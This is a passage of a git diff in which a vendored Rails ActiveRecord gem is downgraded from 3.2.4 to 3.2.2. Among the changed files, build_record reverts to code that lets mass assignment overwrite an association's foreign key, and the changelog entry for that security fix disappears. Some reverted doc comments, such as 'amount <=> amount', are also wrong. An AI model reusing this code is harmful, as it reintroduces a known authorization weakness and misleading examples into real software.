#3931. *kennyj* - -* Fix #5069 - Protect foreign key from mass assignment through association builder. *byroot* - - -## Rails 3.2.2 (March 1, 2012) ## - -* No changes. - - ## Rails 3.2.1 (January 26, 2012) ## * The threshold for auto EXPLAIN is ignored if there's no logger. *fxn* @@ -232,8 +192,7 @@ *Brian Durand* - -## Rails 3.1.3 (November 20, 2011) ## +## Rails 3.1.3 (unreleased) ## * Perf fix: If we're deleting all records in an association, don't add a IN(..) clause to the query. *GH 3672* @@ -246,8 +205,7 @@ *Christos Zisopoulos and Kenny J* - -## Rails 3.1.2 (November 18, 2011) ## +## Rails 3.1.2 (unreleased) ## * Fix bug with PostgreSQLAdapter#indexes. When the search path has multiple schemas, spaces were not being stripped from the schema names after the first. @@ -294,7 +252,6 @@ *Kenny J* - ## Rails 3.1.1 (October 7, 2011) ## * Add deprecation for the preload_associations method. Fixes #3022. diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/MIT-LICENSE b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/MIT-LICENSE similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/MIT-LICENSE rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/MIT-LICENSE diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/README.rdoc b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/README.rdoc similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/README.rdoc rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/README.rdoc index aa8bf724b1..70922ef864 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/README.rdoc +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/README.rdoc @@ -203,7 +203,7 @@ The latest version of Active Record can be installed with RubyGems: Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/3-2-stable/activerecord +* https://github.com/rails/rails/tree/master/activerecord == License diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/examples/associations.png b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/examples/associations.png similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/examples/associations.png rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/examples/associations.png diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/examples/performance.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/examples/performance.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/examples/performance.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/examples/performance.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/examples/simple.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/examples/simple.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/examples/simple.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/examples/simple.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/aggregations.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/aggregations.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/aggregations.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/aggregations.rb index c39284539c..5a8addc4e4 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/aggregations.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/aggregations.rb @@ -46,7 +46,7 @@ module ActiveRecord # # def <=>(other_money) # if currency == other_money.currency - # amount <=> other_money.amount + # amount <=> amount # else # amount <=> other_money.exchange_to(currency).amount # end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations.rb index 8ebb27b682..0efa111d12 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations.rb @@ -1513,8 +1513,8 @@ module ActiveRecord # * Developer#projects.size # * Developer#projects.find(id) # * Developer#projects.exists?(...) - # * Developer#projects.build (similar to Project.new("developer_id" => id)) - # * Developer#projects.create (similar to c = Project.new("developer_id" => id); c.save; c) + # * Developer#projects.build (similar to Project.new("project_id" => id)) + # * Developer#projects.create (similar to c = Project.new("project_id" => id); c.save; c) # The declaration may include an options hash to specialize the behavior of the association. # # === Options diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/alias_tracker.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/alias_tracker.rb similarity index 92% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/alias_tracker.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/alias_tracker.rb index 84540a7000..0248c7483c 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/alias_tracker.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/alias_tracker.rb @@ -5,13 +5,12 @@ module ActiveRecord # Keeps track of table aliases for ActiveRecord::Associations::ClassMethods::JoinDependency and # ActiveRecord::Associations::ThroughAssociationScope class AliasTracker # :nodoc: - attr_reader :aliases, :table_joins, :connection + attr_reader :aliases, :table_joins # table_joins is an array of arel joins which might conflict with the aliases we assign here - def initialize(connection = ActiveRecord::Model.connection, table_joins = []) + def initialize(table_joins = []) @aliases = Hash.new { |h,k| h[k] = initial_count_for(k) } @table_joins = table_joins - @connection = connection end def aliased_table_for(table_name, aliased_name = nil) @@ -71,6 +70,10 @@ module ActiveRecord def truncate(name) name.slice(0, connection.table_alias_length - 2) end + + def connection + ActiveRecord::Base.connection + end end end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/association.rb similarity index 97% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/association.rb index 59c1bad559..7887d59aad 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/association.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/association.rb @@ -231,8 +231,7 @@ module ActiveRecord def build_record(attributes, options) reflection.build_association(attributes, options) do |record| - attributes = create_scope.except(*(record.changed - [reflection.foreign_key])) - record.assign_attributes(attributes, :without_protection => true) + record.assign_attributes(create_scope.except(*record.changed), :without_protection => true) end end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/association_scope.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/association_scope.rb similarity index 87% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/association_scope.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/association_scope.rb index f9cffa40c8..6f8b76abda 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/association_scope.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/association_scope.rb @@ -10,7 +10,7 @@ module ActiveRecord def initialize(association) @association = association - @alias_tracker = AliasTracker.new klass.connection + @alias_tracker = AliasTracker.new end def scope @@ -75,7 +75,7 @@ module ActiveRecord conditions.each do |condition| if options[:through] && condition.is_a?(Hash) - condition = disambiguate_condition(table, condition) + condition = { table.name => condition } end scope = scope.where(interpolate(condition)) @@ -114,21 +114,6 @@ module ActiveRecord end end - def disambiguate_condition(table, condition) - if condition.is_a?(Hash) - Hash[ - condition.map do |k, v| - if v.is_a?(Hash) - [k, v] - else - [table.table_alias || table.name, { k => v }] - end - end - ] - else - condition - end - end end end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/belongs_to_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/belongs_to_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/belongs_to_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/belongs_to_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/belongs_to_polymorphic_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/belongs_to_polymorphic_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/belongs_to_polymorphic_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/belongs_to_polymorphic_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/belongs_to.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/belongs_to.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/belongs_to.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/belongs_to.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/collection_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/collection_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/collection_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/collection_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/has_and_belongs_to_many.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/has_and_belongs_to_many.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/has_and_belongs_to_many.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/has_many.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/has_many.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/has_many.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/has_many.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/has_one.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/has_one.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/has_one.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/has_one.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/singular_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/singular_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/builder/singular_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/builder/singular_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/collection_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/collection_association.rb similarity index 98% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/collection_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/collection_association.rb index 4c58094cfd..0f32ce7bd4 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/collection_association.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/collection_association.rb @@ -154,7 +154,7 @@ module ActiveRecord # # See delete for more info. def delete_all - delete(:all).tap do + delete(load_target).tap do reset loaded! end @@ -226,17 +226,7 @@ module ActiveRecord # are actually removed from the database, that depends precisely on # +delete_records+. They are in any case removed from the collection. def delete(*records) - dependent = options[:dependent] - - if records.first == :all - if loaded? || dependent == :destroy - delete_or_destroy(load_target, dependent) - else - delete_records(:all, dependent) - end - else - delete_or_destroy(records, dependent) - end + delete_or_destroy(records, options[:dependent]) end # Destroy +records+ and remove them from this association calling @@ -491,8 +481,6 @@ module ActiveRecord raise RecordNotSaved, "Failed to replace #{reflection.name} because one or more of the " \ "new records could not be saved." end - - target end def concat_records(records) diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/collection_proxy.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/collection_proxy.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/collection_proxy.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/collection_proxy.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_and_belongs_to_many_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_and_belongs_to_many_association.rb similarity index 76% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_and_belongs_to_many_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_and_belongs_to_many_association.rb index e5da0d585c..a4cea99372 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_and_belongs_to_many_association.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_and_belongs_to_many_association.rb @@ -44,20 +44,13 @@ module ActiveRecord def delete_records(records, method) if sql = options[:delete_sql] - records = load_target if records == :all records.each { |record| owner.connection.delete(interpolate(sql, record)) } else - relation = join_table - condition = relation[reflection.foreign_key].eq(owner.id) - - unless records == :all - condition = condition.and( - relation[reflection.association_foreign_key]. - in(records.map { |x| x.id }.compact) - ) - end - - owner.connection.delete(relation.where(condition).compile_delete) + relation = join_table + stmt = relation.where(relation[reflection.foreign_key].eq(owner.id). + and(relation[reflection.association_foreign_key].in(records.map { |x| x.id }.compact)) + ).compile_delete + owner.connection.delete stmt end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_many_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_many_association.rb similarity index 94% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_many_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_many_association.rb index e631579087..059e6c77bc 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_many_association.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_many_association.rb @@ -89,12 +89,8 @@ module ActiveRecord records.each { |r| r.destroy } update_counter(-records.length) unless inverse_updates_counter_cache? else - if records == :all - scope = scoped - else - keys = records.map { |r| r[reflection.association_primary_key] } - scope = scoped.where(reflection.association_primary_key => keys) - end + keys = records.map { |r| r[reflection.association_primary_key] } + scope = scoped.where(reflection.association_primary_key => keys) if method == :delete_all update_counter(-scope.delete_all) diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_many_through_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_many_through_association.rb similarity index 95% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_many_through_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_many_through_association.rb index 86c665b5fe..9657cb081d 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_many_through_association.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_many_through_association.rb @@ -73,9 +73,7 @@ module ActiveRecord # association def build_through_record(record) @through_records[record.object_id] ||= begin - ensure_mutable - - through_record = through_association.build + through_record = through_association.build(construct_join_attributes(record)) through_record.send("#{source_reflection.name}=", record) through_record end @@ -126,10 +124,6 @@ module ActiveRecord def delete_records(records, method) ensure_not_nested - # This is unoptimised; it will load all the target records - # even when we just want to delete everything. - records = load_target if records == :all - scope = through_association.scoped.where(construct_join_attributes(*records)) case method diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_one_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_one_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_one_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_one_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_one_through_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_one_through_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/has_one_through_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/has_one_through_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_dependency.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_dependency.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_dependency.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_dependency.rb index cd366ac8b7..827b01c5ac 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_dependency.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_dependency.rb @@ -13,7 +13,7 @@ module ActiveRecord @join_parts = [JoinBase.new(base)] @associations = {} @reflections = [] - @alias_tracker = AliasTracker.new(base.connection, joins) + @alias_tracker = AliasTracker.new(joins) @alias_tracker.aliased_name_for(base.table_name) # Updates the count for base.table_name to 1 build(associations) end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_dependency/join_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_dependency/join_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_dependency/join_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_dependency/join_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_dependency/join_base.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_dependency/join_base.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_dependency/join_base.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_dependency/join_base.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_dependency/join_part.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_dependency/join_part.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_dependency/join_part.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_dependency/join_part.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_helper.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_helper.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/join_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/join_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/association.rb similarity index 96% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/association.rb index ab50e43ea0..779f8164cc 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/association.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/association.rb @@ -77,7 +77,7 @@ module ActiveRecord # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000) # Make several smaller queries if necessary or make one query if the adapter supports it sliced = owner_keys.each_slice(model.connection.in_clause_length || owner_keys.size) - records = sliced.map { |slice| records_for(slice).to_a }.flatten + records = sliced.map { |slice| records_for(slice) }.flatten end # Each record may have multiple owners, and vice-versa @@ -93,8 +93,7 @@ module ActiveRecord end def build_scope - scope = klass.unscoped - scope.default_scoped = true + scope = klass.scoped scope = scope.where(process_conditions(options[:conditions])) scope = scope.where(process_conditions(preload_options[:conditions])) diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/belongs_to.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/belongs_to.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/belongs_to.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/belongs_to.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/collection_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/collection_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/collection_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/collection_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_and_belongs_to_many.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_and_belongs_to_many.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_and_belongs_to_many.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_many.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_many.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_many.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_many.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_many_through.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_many_through.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_many_through.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_many_through.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_one.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_one.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_one.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_one.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_one_through.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_one_through.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/has_one_through.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/has_one_through.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/singular_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/singular_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/singular_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/singular_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/through_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/through_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/preloader/through_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/preloader/through_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/singular_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/singular_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/singular_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/singular_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/through_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/through_association.rb similarity index 97% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/through_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/through_association.rb index fd0e90aaf0..f95e5337c2 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/associations/through_association.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/associations/through_association.rb @@ -37,7 +37,9 @@ module ActiveRecord # situation it is more natural for the user to just create or modify their join records # directly as required. def construct_join_attributes(*records) - ensure_mutable + if source_reflection.macro != :belongs_to + raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection) + end join_attributes = { source_reflection.foreign_key => @@ -71,12 +73,6 @@ module ActiveRecord !owner[through_reflection.foreign_key].nil? end - def ensure_mutable - if source_reflection.macro != 